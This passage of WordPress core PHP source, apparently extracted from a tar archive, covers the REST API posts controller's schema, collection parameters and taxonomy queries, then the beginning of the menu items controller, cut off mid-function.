'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Content for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML content for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'block_version' => array( 'description' => __( 'Version of the content block format used by the post.' ), 'type' => 'integer', 'context' => array( 'edit' ), 'readonly' => true, ), 'protected' => array( 'description' => __( 'Whether the content is protected with a password.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); break; case 'author': $schema['properties']['author'] = array( 'description' => __( 'The ID for the author of the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ); break; case 'excerpt': $schema['properties']['excerpt'] = array( 'description' => __( 'The excerpt for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Excerpt for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML excerpt for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'protected' => array( 'description' => __( 'Whether the excerpt is protected with a password.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); break; case 'thumbnail': $schema['properties']['featured_media'] = array( 'description' => __( 'The ID of the featured media for the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ); break; case 'comments': $schema['properties']['comment_status'] = array( 'description' => __( 'Whether or not comments are open on the post.' ), 'type' => 'string', 'enum' => array( 'open', 'closed' ), 'context' => array( 'view', 'edit' ), ); $schema['properties']['ping_status'] = array( 'description' => __( 'Whether or not the post can be pinged.' ), 'type' => 'string', 'enum' => array( 'open', 'closed' ), 'context' => array( 'view', 'edit' ), ); break; case 'page-attributes': $schema['properties']['menu_order'] = array( 'description' => __( 'The order of the post in relation to other posts.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); break; case 'post-formats': // Get the native post formats and remove the array keys. $formats = array_values( get_post_format_slugs() ); $schema['properties']['format'] = array( 'description' => __( 'The format for the post.' ), 'type' => 'string', 'enum' => $formats, 'context' => array( 'view', 'edit' ), ); break; case 'custom-fields': $schema['properties']['meta'] = $this->meta->get_field_schema(); break; } } if ( 'post' === $this->post_type ) { $schema['properties']['sticky'] = array( 'description' => __( 'Whether or not the post should be treated as sticky.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), ); } $schema['properties']['template'] = array( 'description' => __( 'The theme file to use to display the post.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'validate_callback' => array( $this, 'check_template' ), ), ); $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( array_key_exists( $base, $schema['properties'] ) ) { $taxonomy_field_name_with_conflict = ! empty( $taxonomy->rest_base ) ? 'rest_base' : 'name'; _doing_it_wrong( 'register_taxonomy', sprintf( /* translators: 1: The taxonomy name, 2: The property name, either 'rest_base' or 'name', 3: The conflicting value. */ __( 'The "%1$s" taxonomy "%2$s" property (%3$s) conflicts with an existing property on the REST API Posts Controller. Specify a custom "rest_base" when registering the taxonomy to avoid this error.' ), $taxonomy->name, $taxonomy_field_name_with_conflict, $base ), '5.4.0' ); } $schema['properties'][ $base ] = array( /* translators: %s: Taxonomy name. */ 'description' => sprintf( __( 'The terms assigned to the post in the %s taxonomy.' ), $taxonomy->name ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'context' => array( 'view', 'edit' ), ); } $schema_links = $this->get_schema_links(); if ( $schema_links ) { $schema['links'] = $schema_links; } // Take a snapshot of which fields are in the schema pre-filtering. $schema_fields = array_keys( $schema['properties'] ); /** * Filters the post's schema. * * The dynamic portion of the filter, `$this->post_type`, refers to the * post type slug for the controller. * * Possible hook names include: * * - `rest_post_item_schema` * - `rest_page_item_schema` * - `rest_attachment_item_schema` * * @since 5.4.0 * * @param array $schema Item schema data. */ $schema = apply_filters( "rest_{$this->post_type}_item_schema", $schema ); // Emit a _doing_it_wrong warning if user tries to add new properties using this filter. $new_fields = array_diff( array_keys( $schema['properties'] ), $schema_fields ); if ( count( $new_fields ) > 0 ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: register_rest_field */ __( 'Please use %s to add new schema properties.' ), 'register_rest_field' ), '5.4.0' ); } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieve Link Description Objects that should be added to the Schema for the posts collection. * * @since 4.9.8 * * @return array */ protected function get_schema_links() { $href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" ); $links = array(); if ( 'attachment' !== $this->post_type ) { $links[] = array( 'rel' => 'https://api.w.org/action-publish', 'title' => __( 'The current user can publish this post.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'status' => array( 'type' => 'string', 'enum' => array( 'publish', 'future' ), ), ), ), ); } $links[] = array( 'rel' => 'https://api.w.org/action-unfiltered-html', 'title' => __( 'The current user can post unfiltered HTML markup and JavaScript.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'content' => array( 'raw' => array( 'type' => 'string', ), ), ), ), ); if ( 'post' === $this->post_type ) { $links[] = array( 'rel' => 'https://api.w.org/action-sticky', 'title' => __( 'The current user can sticky this post.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'sticky' => array( 'type' => 'boolean', ), ), ), ); } if ( post_type_supports( $this->post_type, 'author' ) ) { $links[] = array( 'rel' => 'https://api.w.org/action-assign-author', 'title' => __( 'The current user can change the author on this post.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'author' => array( 'type' => 'integer', ), ), ), ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $tax ) { $tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name; /* translators: %s: Taxonomy name. */ $assign_title = sprintf( __( 'The current user can assign terms in the %s taxonomy.' ), $tax->name ); /* translators: %s: Taxonomy name. */ $create_title = sprintf( __( 'The current user can create terms in the %s taxonomy.' ), $tax->name ); $links[] = array( 'rel' => 'https://api.w.org/action-assign-' . $tax_base, 'title' => $assign_title, 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( $tax_base => array( 'type' => 'array', 'items' => array( 'type' => 'integer', ), ), ), ), ); $links[] = array( 'rel' => 'https://api.w.org/action-create-' . $tax_base, 'title' => $create_title, 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( $tax_base => array( 'type' => 'array', 'items' => array( 'type' => 'integer', ), ), ), ), ); } return $links; } /** * Retrieves the query params for the posts collection. * * @since 4.7.0 * @since 5.4.0 The `tax_relation` query parameter was added. * @since 5.7.0 The `modified_after` and `modified_before` query parameters were added. * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['after'] = array( 'description' => __( 'Limit response to posts published after a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['modified_after'] = array( 'description' => __( 'Limit response to posts modified after a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); if ( post_type_supports( $this->post_type, 'author' ) ) { $query_params['author'] = array( 'description' => __( 'Limit result set to posts assigned to specific authors.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['author_exclude'] = array( 'description' => __( 'Ensure result set excludes posts assigned to specific authors.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); } $query_params['before'] = array( 'description' => __( 'Limit response to posts published before a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['modified_before'] = array( 'description' => __( 'Limit response to posts modified before a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) { $query_params['menu_order'] = array( 'description' => __( 'Limit result set to posts with a specific menu_order value.' ), 'type' => 'integer', ); } $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by post attribute.' ), 'type' => 'string', 'default' => 'date', 'enum' => array( 'author', 'date', 'id', 'include', 'modified', 'parent', 'relevance', 'slug', 'include_slugs', 'title', ), ); if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) { $query_params['orderby']['enum'][] = 'menu_order'; } $post_type = get_post_type_object( $this->post_type ); if ( $post_type->hierarchical || 'attachment' === $this->post_type ) { $query_params['parent'] = array( 'description' => __( 'Limit result set to items with particular parent IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['parent_exclude'] = array( 'description' => __( 'Limit result set to all items except those of a particular parent ID.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); } $query_params['slug'] = array( 'description' => __( 'Limit result set to posts with one or more specific slugs.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'sanitize_callback' => 'wp_parse_slug_list', ); $query_params['status'] = array( 'default' => 'publish', 'description' => __( 'Limit result set to posts assigned one or more statuses.' ), 'type' => 'array', 'items' => array( 'enum' => array_merge( array_keys( get_post_stati() ), array( 'any' ) ), 'type' => 'string', ), 'sanitize_callback' => array( $this, 'sanitize_post_statuses' ), ); $query_params = $this->prepare_taxonomy_limit_schema( $query_params ); if ( 'post' === $this->post_type ) { $query_params['sticky'] = array( 'description' => __( 'Limit result set to items that are sticky.' ), 'type' => 'boolean', ); } /** * Filters collection parameters for the posts controller. * * The dynamic part of the filter `$this->post_type` refers to the post * type slug for the controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_Query parameter. Use the * `rest_{$this->post_type}_query` filter to set WP_Query parameters. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. * @param WP_Post_Type $post_type Post type object. */ return apply_filters( "rest_{$this->post_type}_collection_params", $query_params, $post_type ); } /** * Sanitizes and validates the list of post statuses, including whether the * user can query private statuses. * * @since 4.7.0 * * @param string|array $statuses One or more post statuses. * @param WP_REST_Request $request Full details about the request. * @param string $parameter Additional parameter to pass to validation. * @return array|WP_Error A list of valid statuses, otherwise WP_Error object. */ public function sanitize_post_statuses( $statuses, $request, $parameter ) { $statuses = wp_parse_slug_list( $statuses ); // The default status is different in WP_REST_Attachments_Controller. $attributes = $request->get_attributes(); $default_status = $attributes['args']['status']['default']; foreach ( $statuses as $status ) { if ( $status === $default_status ) { continue; } $post_type_obj = get_post_type_object( $this->post_type ); if ( current_user_can( $post_type_obj->cap->edit_posts ) || 'private' === $status && current_user_can( $post_type_obj->cap->read_private_posts ) ) { $result = rest_validate_request_arg( $status, $request, $parameter ); if ( is_wp_error( $result ) ) { return $result; } } else { return new WP_Error( 'rest_forbidden_status', __( 'Status is forbidden.' ), array( 'status' => rest_authorization_required_code() ) ); } } return $statuses; } /** * Prepares the 'tax_query' for a collection of posts. * * @since 5.7.0 * * @param array $args WP_Query arguments. * @param WP_REST_Request $request Full details about the request. * @return array Updated query arguments. */ private function prepare_tax_query( array $args, WP_REST_Request $request ) { $relation = $request['tax_relation']; if ( $relation ) { $args['tax_query'] = array( 'relation' => $relation ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $tax_include = $request[ $base ]; $tax_exclude = $request[ $base . '_exclude' ]; if ( $tax_include ) { $terms = array(); $include_children = false; $operator = 'IN'; if ( rest_is_array( $tax_include ) ) { $terms = $tax_include; } elseif ( rest_is_object( $tax_include ) ) { $terms = empty( $tax_include['terms'] ) ? array() : $tax_include['terms']; $include_children = ! empty( $tax_include['include_children'] ); if ( isset( $tax_include['operator'] ) && 'AND' === $tax_include['operator'] ) { $operator = 'AND'; } } if ( $terms ) { $args['tax_query'][] = array( 'taxonomy' => $taxonomy->name, 'field' => 'term_id', 'terms' => $terms, 'include_children' => $include_children, 'operator' => $operator, ); } } if ( $tax_exclude ) { $terms = array(); $include_children = false; if ( rest_is_array( $tax_exclude ) ) { $terms = $tax_exclude; } elseif ( rest_is_object( $tax_exclude ) ) { $terms = empty( $tax_exclude['terms'] ) ? array() : $tax_exclude['terms']; $include_children = ! empty( $tax_exclude['include_children'] ); } if ( $terms ) { $args['tax_query'][] = array( 'taxonomy' => $taxonomy->name, 'field' => 'term_id', 'terms' => $terms, 'include_children' => $include_children, 'operator' => 'NOT IN', ); } } } return $args; } /** * Prepares the collection schema for including and excluding items by terms. * * @since 5.7.0 * * @param array $query_params Collection schema. * @return array Updated schema. */ private function prepare_taxonomy_limit_schema( array $query_params ) { $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); if ( ! $taxonomies ) { return $query_params; } $query_params['tax_relation'] = array( 'description' => __( 'Limit result set based on relationship between multiple taxonomies.' ), 'type' => 'string', 'enum' => array( 'AND', 'OR' ), ); $limit_schema = array( 'type' => array( 'object', 'array' ), 'oneOf' => array( array( 'title' => __( 'Term ID List' ), 'description' => __( 'Match terms with the listed IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ), array( 'title' => __( 'Term ID Taxonomy Query' ), 'description' => __( 'Perform an advanced term query.' ), 'type' => 'object', 'properties' => array( 'terms' => array( 'description' => __( 'Term IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ), 'include_children' => array( 'description' => __( 'Whether to include child terms in the terms limiting the result set.' ), 'type' => 'boolean', 'default' => false, ), ), 'additionalProperties' => false, ), ), ); $include_schema = array_merge( array( /* translators: %s: Taxonomy name. */ 'description' => __( 'Limit result set to items with specific terms assigned in the %s taxonomy.' ), ), $limit_schema ); // 'operator' is supported only for 'include' queries. $include_schema['oneOf'][1]['properties']['operator'] = array( 'description' => __( 'Whether items must be assigned all or any of the specified terms.' ), 'type' => 'string', 'enum' => array( 'AND', 'OR' ), 'default' => 'OR', ); $exclude_schema = array_merge( array( /* translators: %s: Taxonomy name. */ 'description' => __( 'Limit result set to items except those with specific terms assigned in the %s taxonomy.' ), ), $limit_schema ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $base_exclude = $base . '_exclude'; $query_params[ $base ] = $include_schema; $query_params[ $base ]['description'] = sprintf( $query_params[ $base ]['description'], $base ); $query_params[ $base_exclude ] = $exclude_schema; $query_params[ $base_exclude ]['description'] = sprintf( $query_params[ $base_exclude ]['description'], $base ); if ( ! $taxonomy->hierarchical ) { unset( $query_params[ $base ]['oneOf'][1]['properties']['include_children'] ); unset( $query_params[ $base_exclude ]['oneOf'][1]['properties']['include_children'] ); } } return $query_params; } } �����������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-menu-items-controller.php������������������������������������������0000644�����������������00000077046�14717703502�0017776 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Menu_Items_Controller class * * @package WordPress * @subpackage REST_API * @since 5.9.0 */ /** * Core class to access nav items via the REST API. * * @since 5.9.0 * * @see WP_REST_Posts_Controller */ class WP_REST_Menu_Items_Controller extends WP_REST_Posts_Controller { /** * Get the nav menu item, if the ID is valid. * * @since 5.9.0 * * @param int $id Supplied ID. * @return object|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_nav_menu_item( $id ) { $post = $this->get_post( $id ); if ( is_wp_error( $post ) ) { return $post; } return wp_setup_nav_menu_item( $post ); } /** * Checks if a given request has access to read menu items. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $has_permission = parent::get_items_permissions_check( $request ); if ( true !== $has_permission ) { return $has_permission; } return $this->check_has_read_only_access( $request ); } /** * Checks if a given request has access to read a menu item if they have access to edit them. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $permission_check = parent::get_item_permissions_check( $request ); if ( true !== $permission_check ) { return $permission_check; } return $this->check_has_read_only_access( $request ); } /** * Checks whether the current user has read permission for the endpoint. * * This allows for any user that can `edit_theme_options` or edit any REST API available post type. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error Whether the current user has permission. */ protected function check_has_read_only_access( $request ) { if ( current_user_can( 'edit_theme_options' ) ) { return true; } if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view menu items.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Creates a single post. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) ); } $prepared_nav_item = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_nav_item ) ) { return $prepared_nav_item; } $prepared_nav_item = (array) $prepared_nav_item; $nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false ); if ( is_wp_error( $nav_menu_item_id ) ) { if ( 'db_insert_error' === $nav_menu_item_id->get_error_code() ) { $nav_menu_item_id->add_data( array( 'status' => 500 ) ); } else { $nav_menu_item_id->add_data( array( 'status' => 400 ) ); } return $nav_menu_item_id; } $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); if ( is_wp_error( $nav_menu_item ) ) { $nav_menu_item->add_data( array( 'status' => 404 ) ); return $nav_menu_item; } /** * Fires after a single menu item is created or updated via the REST API. * * @since 5.9.0 * * @param object $nav_menu_item Inserted or updated menu item object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a menu item, false when updating. */ do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); $fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single menu item is completely created or updated via the REST API. * * @since 5.9.0 * * @param object $nav_menu_item Inserted or updated menu item object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a menu item, false when updating. */ do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, true ); $post = get_post( $nav_menu_item_id ); wp_after_insert_post( $post, false, null ); $response = $this->prepare_item_for_response( $post, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $nav_menu_item_id ) ) ); return $response; } /** * Updates a single nav menu item. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $valid_check = $this->get_nav_menu_item( $request['id'] ); if ( is_wp_error( $valid_check ) ) { return $valid_check; } $post_before = get_post( $request['id'] ); $prepared_nav_item = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_nav_item ) ) { return $prepared_nav_item; } $prepared_nav_item = (array) $prepared_nav_item; $nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false ); if ( is_wp_error( $nav_menu_item_id ) ) { if ( 'db_update_error' === $nav_menu_item_id->get_error_code() ) { $nav_menu_item_id->add_data( array( 'status' => 500 ) ); } else { $nav_menu_item_id->add_data( array( 'status' => 400 ) ); } return $nav_menu_item_id; } $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); if ( is_wp_error( $nav_menu_item ) ) { $nav_menu_item->add_data( array( 'status' => 404 ) ); return $nav_menu_item; } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */ do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item->ID ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $post = get_post( $nav_menu_item_id ); $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); $fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */ do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, false ); wp_after_insert_post( $post, true, $post_before ); $response = $this->prepare_item_for_response( get_post( $nav_menu_item_id ), $request ); return rest_ensure_response( $response ); } /** * Deletes a single menu item. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error True on success, or WP_Error object on failure. */ public function delete_item( $request ) { $menu_item = $this->get_nav_menu_item( $request['id'] ); if ( is_wp_error( $menu_item ) ) { return $menu_item; } // We don't support trashing for menu items. if ( ! $request['force'] ) { /* translators: %s: force=true */ return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menu items do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $previous = $this->prepare_item_for_response( get_post( $request['id'] ), $request ); $result = wp_delete_post( $request['id'], true ); if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** * Fires immediately after a single menu item is deleted via the REST API. * * @since 5.9.0 * * @param object $nav_menu_item Inserted or updated menu item object. * @param WP_REST_Response $response The response data. * @param WP_REST_Request $request Request object. */ do_action( 'rest_delete_nav_menu_item', $menu_item, $response, $request ); return $response; } /** * Prepares a single post for create or update. * * @since 5.9.0 * * @param WP_REST_Request $request Request object. * * @return object|WP_Error */ protected function prepare_item_for_database( $request ) { $menu_item_db_id = $request['id']; $menu_item_obj = $this->get_nav_menu_item( $menu_item_db_id ); // Need to persist the menu item data. See https://core.trac.wordpress.org/ticket/28138 if ( ! is_wp_error( $menu_item_obj ) ) { // Correct the menu position if this was the first item. See https://core.trac.wordpress.org/ticket/28140 $position = ( 0 === $menu_item_obj->menu_order ) ? 1 : $menu_item_obj->menu_order; $prepared_nav_item = array( 'menu-item-db-id' => $menu_item_db_id, 'menu-item-object-id' => $menu_item_obj->object_id, 'menu-item-object' => $menu_item_obj->object, 'menu-item-parent-id' => $menu_item_obj->menu_item_parent, 'menu-item-position' => $position, 'menu-item-type' => $menu_item_obj->type, 'menu-item-title' => $menu_item_obj->title, 'menu-item-url' => $menu_item_obj->url, 'menu-item-description' => $menu_item_obj->description, 'menu-item-attr-title' => $menu_item_obj->attr_title, 'menu-item-target' => $menu_item_obj->target, 'menu-item-classes' => $menu_item_obj->classes, // Stored in the database as a string. 'menu-item-xfn' => explode( ' ', $menu_item_obj->xfn ), 'menu-item-status' => $menu_item_obj->post_status, 'menu-id' => $this->get_menu_id( $menu_item_db_id ), ); } else { $prepared_nav_item = array( 'menu-id' => 0, 'menu-item-db-id' => 0, 'menu-item-object-id' => 0, 'menu-item-object' => '', 'menu-item-parent-id' => 0, 'menu-item-position' => 1, 'menu-item-type' => 'custom', 'menu-item-title' => '', 'menu-item-url' => '', 'menu-item-description' => '', 'menu-item-attr-title' => '', 'menu-item-target' => '', 'menu-item-classes' => array(), 'menu-item-xfn' => array(), 'menu-item-status' => 'publish', ); } $mapping = array( 'menu-item-db-id' => 'id', 'menu-item-object-id' => 'object_id', 'menu-item-object' => 'object', 'menu-item-parent-id' => 'parent', 'menu-item-position' => 'menu_order', 'menu-item-type' => 'type', 'menu-item-url' => 'url', 'menu-item-description' => 'description', 'menu-item-attr-title' => 'attr_title', 'menu-item-target' => 'target', 'menu-item-classes' => 'classes', 'menu-item-xfn' => 'xfn', 'menu-item-status' => 'status', ); $schema = $this->get_item_schema(); foreach ( $mapping as $original => $api_request ) { if ( isset( $request[ $api_request ] ) ) { $prepared_nav_item[ $original ] = $request[ $api_request ]; } } $taxonomy = get_taxonomy( 'nav_menu' ); $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; // If menus submitted, cast to int. if ( ! empty( $request[ $base ] ) ) { $prepared_nav_item['menu-id'] = absint( $request[ $base ] ); } // Nav menu title. if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $prepared_nav_item['menu-item-title'] = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $prepared_nav_item['menu-item-title'] = $request['title']['raw']; } } $error = new WP_Error(); // Check if object id exists before saving. if ( ! $prepared_nav_item['menu-item-object'] ) { // If taxonomy, check if term exists. if ( 'taxonomy' === $prepared_nav_item['menu-item-type'] ) { $original = get_term( absint( $prepared_nav_item['menu-item-object-id'] ) ); if ( empty( $original ) || is_wp_error( $original ) ) { $error->add( 'rest_term_invalid_id', __( 'Invalid term ID.' ), array( 'status' => 400 ) ); } else { $prepared_nav_item['menu-item-object'] = get_term_field( 'taxonomy', $original ); } // If post, check if post object exists. } elseif ( 'post_type' === $prepared_nav_item['menu-item-type'] ) { $original = get_post( absint( $prepared_nav_item['menu-item-object-id'] ) ); if ( empty( $original ) ) { $error->add( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 400 ) ); } else { $prepared_nav_item['menu-item-object'] = get_post_type( $original ); } } } // If post type archive, check if post type exists. if ( 'post_type_archive' === $prepared_nav_item['menu-item-type'] ) { $post_type = $prepared_nav_item['menu-item-object'] ? $prepared_nav_item['menu-item-object'] : false; $original = get_post_type_object( $post_type ); if ( ! $original ) { $error->add( 'rest_post_invalid_type', __( 'Invalid post type.' ), array( 'status' => 400 ) ); } } // Check if menu item is type custom, then title and url are required. if ( 'custom' === $prepared_nav_item['menu-item-type'] ) { if ( '' === $prepared_nav_item['menu-item-title'] ) { $error->add( 'rest_title_required', __( 'The title is required when using a custom menu item type.' ), array( 'status' => 400 ) ); } if ( empty( $prepared_nav_item['menu-item-url'] ) ) { $error->add( 'rest_url_required', __( 'The url is required when using a custom menu item type.' ), array( 'status' => 400 ) ); } } if ( $error->has_errors() ) { return $error; } // The xfn and classes properties are arrays, but passed to wp_update_nav_menu_item as a string. foreach ( array( 'menu-item-xfn', 'menu-item-classes' ) as $key ) { $prepared_nav_item[ $key ] = implode( ' ', $prepared_nav_item[ $key ] ); } // Only draft / publish are valid post status for menu items. if ( 'publish' !== $prepared_nav_item['menu-item-status'] ) { $prepared_nav_item['menu-item-status'] = 'draft'; } $prepared_nav_item = (object) $prepared_nav_item; /** * Filters a menu item before it is inserted via the REST API. * * @since 5.9.0 * * @param object $prepared_nav_item An object representing a single menu item prepared * for inserting or updating the database. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_pre_insert_nav_menu_item', $prepared_nav_item, $request ); } /** * Prepares a single post output for response. * * @since 5.9.0 * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Base fields for every post. $fields = $this->get_fields_for_response( $request ); $menu_item = $this->get_nav_menu_item( $item->ID ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $menu_item->ID; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $menu_item->title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); /** This filter is documented in wp-includes/post-template.php */ $title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID ); $data['title']['rendered'] = $title; remove_filter( 'protected_title_format', array( $this, 